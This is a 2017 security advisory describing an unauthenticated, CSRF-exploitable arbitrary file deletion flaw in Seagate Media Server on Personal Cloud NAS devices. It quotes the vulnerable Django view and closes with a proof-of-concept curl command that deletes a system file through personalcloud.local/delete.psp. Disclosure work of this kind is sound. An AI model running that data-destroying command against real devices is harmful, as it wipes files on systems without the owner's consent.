Yorick Koster, September 2017

Seagate Media Server allows deleting of arbitrary files and folders

Abstract

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). It was found that Seagate Media Server can be used by unauthenticated attackers to delete arbitrary files and folders on the NAS. Since Seagate Media Server is running with root privileges it is possible to remove almost any file on the NAS. The application lacks protection against CSRF attacks, and is accessible via the personalcloud.local domain name. Due to this it is possible to exploit this issue via a malicious website without requiring the NAS to be directly accessible over the internet.

Tested versions

This issue was tested on a Seagate Personal Cloud model SRN21C running firmware version 4.3.16.0. It is likely that other devices/models are also affected.

Fix

Seagate has released firmware version 4.3.18.0 in which the vulnerable endpoint is no longer exposed, which as a result fixes this issue.

Introduction

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). Personal Cloud is deployed with the Seagate Media Server application that allows users to easily access their movies, music, and photos. The Seagate Media Server is accessible without authentication, by default a Public folder exists where anonymous users can upload files to.

It was found that Seagate Media Server can be used by unauthenticated attackers to delete arbitrary files and folders on the NAS. The application runs with root privileges and consequently it is possible to remove almost any file on the NAS. The affected page lacks protection against Cross-Site Request Forgery. In addition, the NAS is available using the personalcloud.local domain name via multicast Domain Name System (mDNS). Due to this it is possible to exploit this issue via a malicious website without requiring the NAS to be directly accessible over the internet and/or to know its IP address.

Details

Seagate Media Server uses the Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.

/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   )),
".psp/"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   ))
)

URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. The delete view is mapped to the delete.psp URL path. This views allows users to delete files from shares.

(r'^m/delete.psp', delete),
(r'^delete.psp', delete),

The delete.psp endpoint is accessible for unauthenticated users. No validation is performed on the paths that are provided to this endpoint. Consequently, any path can be provided and the application will attempt to remove the provided path(s).

/usr/lib/django_host/seagate_media_server/views.py:

@csrf_exempt
def delete(request):
   if (checkDBSQLite()) : return render_to_response("database_init.html")
   #syslog.syslog("delete()")
   try: #D.L. 1/19/2013 If exception happens - return stat: failed
   
      pathToDelete = request.POST.get('pathToDelete','')
      #logDebug("pathToDelete: '%s'", pathToDelete)
      fileFolderPath = json.loads(pathToDelete)
      some_files_do_not_exist = False #D.L. 1/19/2013
      data = fileFolderPath["data"]
      if data.has_key("folders") and data["folders"] != '':
         for folder in data["folders"]:
            folder = urllib.unquote(folder.encode('utf-8'))
            #syslog.syslog("folder %s" % folder)
            if os.path.isdir(folder): #D.L. 1/19/2013
               DBRecords.Records().callDatabaseDelete(folder,PriorityLevel.UI)
               shutil.rmtree(folder)
            else: #D.L. 1/19/2013
               #syslog.syslog("folder %s is not a dir" % folder)
               some_files_do_not_exist = True #D.L. 1/19/2013
   
      if data.has_key("files") and data["files"] != '':
         for file in data["files"]:
            file = urllib.unquote(file.encode('utf-8'))
            #syslog.syslog("file %s" % file)
            if os.path.exists(file): #D.L. 1/19/2013
               DBRecords.Records().callDatabaseDelete(file,PriorityLevel.UI)
               os.remove(file)
            else: #D.L. 1/19/2013
               #syslog.syslog("file %s does not exist" % file)
               some_files_do_not_exist = True #D.L. 1/19/2013
[...]

Proof of concept

The curl command below uses the delete.psp endpoint to delete the /etc/unicorn.db file, effectively disabling the management web application.

curl -i -s -k  -X $'POST' \
--data-binary $'pathToDelete={\"data\":{\"folders\":[\"/etc/unicorn.db\"]}}' \
$'https://personalcloud.local/delete.psp'